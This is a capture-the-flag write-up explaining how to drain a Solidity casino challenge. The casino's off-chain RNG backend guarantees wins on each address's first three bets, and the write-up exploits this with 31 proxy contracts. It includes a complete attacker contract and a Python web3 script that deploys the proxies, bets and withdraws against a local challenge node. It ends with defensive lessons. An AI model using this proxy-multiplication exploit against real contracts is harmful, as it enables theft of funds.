Exploiting Biased Off-Chain RNG in Ethereum Smart Contracts

This post provides a rigorous, low-level analysis of a vulnerable casino smart contract system, focusing on the interaction between on-chain logic and an off-chain RNG oracle. We formalise the vulnerability as a probabilistic bias in the oracle's output distribution, exploitable via address multiplicity. The exploit leverages EVM deployment mechanics for proxy generation, transaction sequencing for bet placement, and timing dependencies on oracle polling. We derive the minimal number of proxies required for drainage using expected value calculations and implement a resilient Python exploit script with retry semantics. Gas optimisations, reentrancy considerations, and potential countermeasures are discussed in depth.
Setup Contract
The Setup contract is the entry point. It's deployed with 100 ETH and creates the Chal (casino) instance.
pragma solidity ^0.8.13;
import "./Chal.sol";
contract Setup {
Chal public immutable TARGET;
constructor() payable {
// Create the challenge contract and pass the deployer (msg.sender) as the trusted backend
TARGET = new Chal(msg.sender);
// Require 100 ether to be sent during deployment
require(msg.value == 100 ether, "Must send 100 ether");
// Send all the ether to the challenge contract
payable(address(TARGET)).transfer(100 ether);
}
function isSolved() public view returns (bool) {
// Challenge is solved if the TARGET contract has less than 10 ether
return address(TARGET).balance < 10 ether;
}
}
Key Points:
msg.sender(the deployer) is passed toChalascasinoBackend. This address is authorised to settle bets.All 100 ETH is forwarded to
Chalviapayable(address(TARGET)).transfer(100 ether).isSolved()checks ifChal's balance is < 10 ETH. We need to drain at least 91 ETH.
Using transfer() limits gas to 2300, preventing reentrancy attacks here. But we'll see reentrancy mitigations in Chal later.
Challenge Contract
The challenge contract handles bets on three games: Coin Flip, Blackjack, and Rock-Paper-Scissors.
pragma solidity ^0.8.13;
contract Chal {
address public owner;
address public casinoBackend;
uint256 public constant MIN_BET = 0.05 ether;
uint256 public constant MAX_BET = 1 ether;
uint256 public nextBetId;
struct Bet {
address player;
uint8 machine;
uint8 games;
uint256 amount;
bool settled;
bool won;
}
mapping(uint256 => Bet) public bets;
mapping(address => uint8) public games;
event BetPlaced(uint256 indexed id, address indexed player, uint256 amount);
event BetResolved(uint256 indexed id, address indexed player, uint256 amount, bool won);
// Accept a trusted backend address from the deployer (Setup)
constructor(address backend) {
owner = msg.sender;
casinoBackend = backend;
nextBetId = 1;
}
// Accept ether
receive() external payable {}
// Register a bet; RNG is handled off-chain by the casino RNG service.
function playCoinFlip() external payable returns (uint256) {
require(msg.value >= MIN_BET, "Must send ether to flip");
require(msg.value <= MAX_BET, "Max 1 ether per flip");
uint256 id = nextBetId++;
games[msg.sender]++;
uint8 machine = 1;
bets[id] = Bet(msg.sender, machine, games[msg.sender], msg.value, false, false);
emit BetPlaced(id, msg.sender, msg.value);
return id;
}
// Similar functions for playBlackJack() and playRockPaperScissors()...
// Settle functions (e.g., settleCoinFlip)
function settleCoinFlip(uint256 id, uint256 random_1_to_10) external {
require(msg.sender == casinoBackend, "Only backend can settle");
Bet storage b = bets[id];
require(b.player != address(0), "Bet not found");
require(!b.settled, "Already settled");
bool outcome = (random_1_to_10 % 2) == 0;
// effects first
b.settled = true;
b.won = outcome;
if (outcome) {
uint256 payout = b.amount * 2;
// transfer after state update to mitigate reentrancy
payable(b.player).transfer(payout);
}
emit BetResolved(id, b.player, b.amount, outcome);
}
// Similar settle functions for other games...
// View functions: getBet(), getBalance()
}
Key points:
Players call
playCoinFlip(),playBlackJack(), orplayRockPaperScissors()with ETH between 0.05 and 1 ETH. This incrementsnextBetId, tracksgames[msg.sender](games played by address), and stores the bet inbets[id].Bets are not settled on-chain. The backend (off-chain service) calls
settlefunctions with a random value.Only
casinoBackendcan settle. Outcomes are determined by the provided random number (e.g., for Coin Flip: even = win, payout 2x).If win,
transfer()sends payout. State updated before transfer (checks-effects-interactions pattern to prevent reentrancy).games[address]counts total games per player, influencing backend bias.
Relying on off-chain settlement introduces trust in the backend. If biased, it's exploitable. Also, transfer() is safe but limits complex receivers.
Examining the Off-Chain RNG Backend
The backend is a Python script that scans for unsettled bets and settles them using secrets.randbelow for cryptographic randomness, but with biases.
# Key parts
def secure_randint(a: int, b: int) -> int:
return secrets.randbelow(b - a + 1) + a
# In main loop:
total = contract.functions.nextBetId().call()
for bid in range(1, int(total)):
player, machine, games, amount, settled, won = contract.functions.getBet(bid).call()
if not settled:
if machine == 1: # Coin Flip
if games > 3:
if secure_randint(1, 100) <= 40:
r = secure_randint(1, 10)
else:
r = secure_randint(1, 5) * 2 - 1 # Odd numbers (loss)
else:
r = secure_randint(1, 5) * 2 # Even numbers (win)
# Settle tx...
# Similar biased logic for Blackjack (machine 2) and RPS (machine 3)
Analysis
For
games <= 3(per address):Coin Flip:
r = secure_randint(1, 5) * 2→ 2,4,6,8,10 (all even) → 100% win (payout 2x).Blackjack: 50% chance of <=21 (win/push), 50% blackjack (3.75x).
RPS: 50% normal RNG, 50% force win (2x).
For
games > 3, RNG favors losses (e.g., Coin Flip: 60% odd numbers).games[msg.sender]resets per unique address. Using multiple addresses (or proxies) resets the counter.Runs every 1s, settles unsettled bets automatically.
Exploit Path: Use Coin Flip for guaranteed 100% wins on the first 3 bets per address. Max bet 1 ETH → 2 ETH payout → net +1 ETH per bet. Per address: +3 ETH profit. To drain 91+ ETH, need ~31 unique addresses (93 ETH drained).
Direct multi-account use requires many private keys. Instead, I planned to deploy the proxy contracts, as each proxy's address is unique.
Exploitation Strategy
Deploy multiple
CasinoExploitcontracts. Each:Forwards bets to
Chal.playCoinFlip().Receives payouts (since
player = proxy address).Allows withdrawal to the attacker.
Bet Sequence: For each proxy, place 3 bets of 1 ETH each. Wait ~2-5s for backend settlement.
Withdraw: Call proxy's
withdraw()to send winnings back.Scale: 31 proxies → 93 bets → drain 93 ETH (casino left with ~6 ETH after gas).
Attacker Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IChal {
function playCoinFlip() external payable returns (uint256);
}
contract CasinoExploit {
IChal public immutable target;
address public owner;
constructor(address _target) {
target = IChal(_target);
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "Not owner");
require(msg.value == 1 ether, "Send 1 ETH");
target.playCoinFlip{value: 1 ether}();
}
function withdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}
Constructor: Sets the target
Chaladdress.attack(): Forwards 1 ETH to
playCoinFlip().msg.senderinChalis this proxy's address.withdraw(): Sends all balance to the owner.
receive(): Accepts payouts.
The script below includes retries for connection issues
#!/usr/bin/env python3
import os
import time
import logging
import requests
from web3 import Web3
from web3.exceptions import TransactionNotFound
from eth_account import Account
from solcx import compile_source
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
UUID = os.getenv("UUID", "70a2e351-6191-4c33-bf08-38ac08809079")
RPC_BASE = os.getenv("RPC_BASE", "http://127.0.0.1:8585")
RPC_URL = f"{RPC_BASE}/{UUID}"
MAX_RETRIES = 10
BACKOFF_FACTOR = 2
BETWEEN_BET_DELAY = 5
BETWEEN_PROXY_DELAY = 5
EXPLOIT_SOURCE = '''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IChal {
function playCoinFlip() external payable returns (uint256);
}
contract CasinoExploit {
IChal public immutable target;
address public owner;
constructor(address _target) {
target = IChal(_target);
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "Not owner");
require(msg.value == 1 ether, "Send 1 ETH");
target.playCoinFlip{value: 1 ether}();
}
function withdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}
'''
def create_session_with_retry():
session = requests.Session()
retry = Retry(
total=MAX_RETRIES,
connect=MAX_RETRIES,
read=MAX_RETRIES,
redirect=3,
backoff_factor=BACKOFF_FACTOR,
status_forcelist=[429, 500, 502, 503, 504],
raise_on_status=False
)
adapter = HTTPAdapter(max_retries=retry)
session.mount("http://", adapter)
session.mount("https://", adapter)
return session
def get_web3():
session = create_session_with_retry()
w3 = Web3(Web3.HTTPProvider(RPC_URL, session=session))
try:
w3.eth.block_number
logging.info("Connected to node")
return w3
except Exception as e:
logging.error(f"Failed to connect to {RPC_URL}: {e}")
raise
def compile_contracts(source_code):
compiled = compile_source(source_code, output_values=['abi', 'bin'])
interfaces = {}
for path, data in compiled.items():
name = path.split(":")[-1]
interfaces[name] = data
return interfaces
def main():
priv = os.getenv("PLAYER_KEY", "<REDACTED>")
if priv.startswith("0x"): priv = priv[2:]
acct = Account.from_key(bytes.fromhex(priv))
# Connect with retru
w3 = None
for attempt in range(3):
try:
w3 = get_web3()
break
except:
logging.warning(f"Connection attempt {attempt+1}/3 failed. Retrying in 5s...")
time.sleep(5)
if not w3:
logging.error("Failed to connect after retries")
return
SETUP_ABI = [{"inputs": [], "name": "TARGET", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}]
setup_addr = os.getenv("SETUP_ADDRESS", "<REDACTED>")
setup = w3.eth.contract(address=setup_addr, abi=SETUP_ABI)
chal_addr = setup.functions.TARGET().call()
logging.info(f"Target (Chal): {chal_addr}")
logging.info(f"Attacker: {acct.address}")
initial_bal = w3.eth.get_balance(chal_addr)
logging.info(f"Initial casino balance: {w3.from_wei(initial_bal, 'ether')} ETH")
compiled = compile_contracts(EXPLOIT_SOURCE)
if "CasinoExploit" not in compiled:
logging.error("Compilation failed")
return
abi = compiled["CasinoExploit"]["abi"]
bytecode = compiled["CasinoExploit"]["bin"]
num_proxies = 31
exploits = []
for i in range(num_proxies):
logging.info(f"Deploying proxy {i+1}/{num_proxies}")
Exploit = w3.eth.contract(abi=abi, bytecode=bytecode)
for attempt in range(MAX_RETRIES):
try:
nonce = w3.eth.get_transaction_count(acct.address)
tx = Exploit.constructor(chal_addr).build_transaction({
'from': acct.address,
'nonce': nonce,
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id,
})
tx['gas'] = int(w3.eth.estimate_gas(tx) * 1.3)
signed = acct.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
addr = receipt.contractAddress
logging.info(f"Proxy {i+1} deployed: {addr}")
exploits.append(w3.eth.contract(address=addr, abi=abi))
break
except Exception as e:
logging.warning(f"Deploy failed (attempt {attempt+1}): {e}")
time.sleep(BACKOFF_FACTOR ** attempt)
try:
w3 = get_web3()
except:
pass
else:
logging.error(f"Failed to deploy proxy {i+1}")
continue
time.sleep(BETWEEN_PROXY_DELAY)
total_bets = 0
for idx, exploit in enumerate(exploits):
for bet in range(3):
logging.info(f"Proxy {idx+1} | Bet {bet+1}/3")
for attempt in range(MAX_RETRIES):
try:
nonce = w3.eth.get_transaction_count(acct.address)
tx = exploit.functions.attack().build_transaction({
'from': acct.address,
'value': w3.to_wei(1, 'ether'),
'nonce': nonce,
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id,
})
tx['gas'] = int(exploit.functions.attack().estimate_gas({
'from': acct.address, 'value': w3.to_wei(1, 'ether')
}) * 1.3)
signed = acct.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
logging.info(f"Bet placed: {tx_hash.hex()}")
total_bets += 1
break
except Exception as e:
logging.warning(f"Bet failed (attempt {attempt+1}): {e}")
time.sleep(BACKOFF_FACTOR ** attempt)
try:
w3 = get_web3()
exploit = w3.eth.contract(address=exploit.address, abi=abi)
except:
pass
else:
logging.error(f"Failed to place bet {bet+1} for proxy {idx+1}")
continue
time.sleep(BETWEEN_BET_DELAY)
# Withdraw after 3 bets
for attempt in range(MAX_RETRIES):
try:
nonce = w3.eth.get_transaction_count(acct.address)
tx = exploit.functions.withdraw().build_transaction({
'from': acct.address,
'nonce': nonce,
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id,
})
tx['gas'] = int(exploit.functions.withdraw().estimate_gas({'from': acct.address}) * 1.3)
signed = acct.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
logging.info(f"Withdrew from proxy {idx+1}")
break
except Exception as e:
logging.warning(f"Withdraw failed (attempt {attempt+1}): {e}")
time.sleep(BACKOFF_FACTOR ** attempt)
try:
w3 = get_web3()
exploit = w3.eth.contract(address=exploit.address, abi=abi)
except:
pass
else:
logging.error(f"Failed to withdraw from proxy {idx+1}")
final_bal = w3.eth.get_balance(chal_addr)
logging.info(f"Final casino balance: {w3.from_wei(final_bal, 'ether')} ETH")
logging.info(f"Attacker balance: {w3.from_wei(w3.eth.get_balance(acct.address), 'ether')} ETH")
if final_bal < w3.to_wei(10, 'ether'):
logging.info("CHALLENGE SOLVED!")
else:
logging.warning("Not solved yet. Try more proxies or check backend logs.")
if __name__ == "__main__":
main()
Each deploy ~1M gas, bet ~100K, withdraw ~50K. Total ~5-10 ETH needed initially. After Casino’s balance <10 ETH, isSolved() = true, and the challenge is solved.


Conclusion
This exploit highlights the dangers of off-chain dependencies in DeFi. Even "secure" RNG can be biased, and per-address tracking can be bypassed with proxies.
Lessons:
Use verifiable on-chain RNG (e.g., Chainlink VRF).
Avoid player-favouring biases; they invite grinding.
Test for multi-account exploits.
Always Audit full stacks; on-chain + off-chain.
This technical write-up is co-crafted with Grok.



